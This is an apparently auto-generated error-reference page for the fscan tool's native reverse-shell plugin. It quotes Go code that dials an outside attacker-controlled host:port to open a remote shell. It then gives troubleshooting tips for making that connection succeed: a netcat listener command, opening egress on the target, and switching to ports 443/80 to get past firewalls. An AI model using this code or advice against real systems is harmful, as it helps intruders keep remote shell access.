shadow1ng/fscan · error

%s: %w [connection_failed_plain]

Error message

%s: %w [connection_failed_plain]

What it means

The native reverse-shell plugin failed to establish the outbound TCP connection to the attacker-controlled host:port via net.Dial. The dial error is wrapped so callers can inspect net.OpError/DNSError.

Source

Thrown at plugins/local/reverseshell.go:97

	}

	output.WriteString(i18n.GetText("reverseshell_done") + "\n")
	session.LogSuccess(i18n.Tr("reverseshell_complete", target))

	return &plugins.Result{
		Success: true,
		Type:    plugins.ResultTypeService,
		Output:  output.String(),
		Error:   nil,
	}
}

// startNativeReverseShell 启动Go原生反弹Shell
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error {
	// 连接到目标
	conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
	if err != nil {
		return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
	}
	defer func() { _ = conn.Close() }()

	session.LogSuccess(i18n.Tr("reverseshell_connected", host, port))

	// 设置反弹Shell为活跃状态
	state.SetReverseShellActive(true)
	defer func() {
		state.SetReverseShellActive(false)
	}()

	// 发送欢迎消息
	welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
	_, _ = conn.Write([]byte(welcomeMsg))
	_, _ = conn.Write([]byte("Type 'exit' to quit\n"))

	// 创建读取器
	reader := bufio.NewReader(conn)

View on GitHub (pinned to 95cc12e753)

Solutions

  1. Verify the listener is up on the configured host:port (nc -lvp <port> / netcat) before running the plugin.
  2. Check host/IP and port configuration for typos; test with `Test-NetConnection host -Port port`.
  3. Open an egress firewall rule on the target for the chosen port, or switch to a commonly allowed port (443/80).
  4. If DNS is the cause, use the literal IP in the plugin configuration.

Example fix

// before
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
if err != nil {
	return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
}
// after — add a bounded dial with context so failures fail fast and clearly
d := net.Dialer{Timeout: 10 * time.Second}
conn, err := d.DialContext(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)))
if err != nil {
	return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
}
Defensive patterns

Strategy: retry

Validate before calling

func reachable(host string, port int, timeout time.Duration) error {
	conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout)
	if err != nil {
		return err
	}
	_ = conn.Close()
	return nil
}

Type guard

func isDialError(err error) bool {
	var opErr *net.OpError
	return errors.As(err, &opErr)
}

Try / catch

if err := startNativeReverseShell(ctx, host, port, state, session); err != nil {
	var dnsErr *net.DNSError
	if errors.As(err, &dnsErr) {
		// resolve/config fix
	} else if isConnRefused(err) {
		// listener down on host:port
	}
}

Prevention

When it happens

Trigger: net.Dial("tcp", host:port) in startNativeReverseShell returns err — connection refused, host unreachable, DNS failure, or firewall blocking egress.

Common situations: Listener not running on the C2 host/port; typo in host or port in the plugin config; corporate egress firewall blocking the port; target network has no route to the listener.

Understand the failure class

Background: ECONNREFUSED and "connection refused" / "could not connect to server" errors: what they mean and how to fix them — this error's family across 44 libraries.

Related errors


AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/471900744edd3e30. Report an issue: GitHub.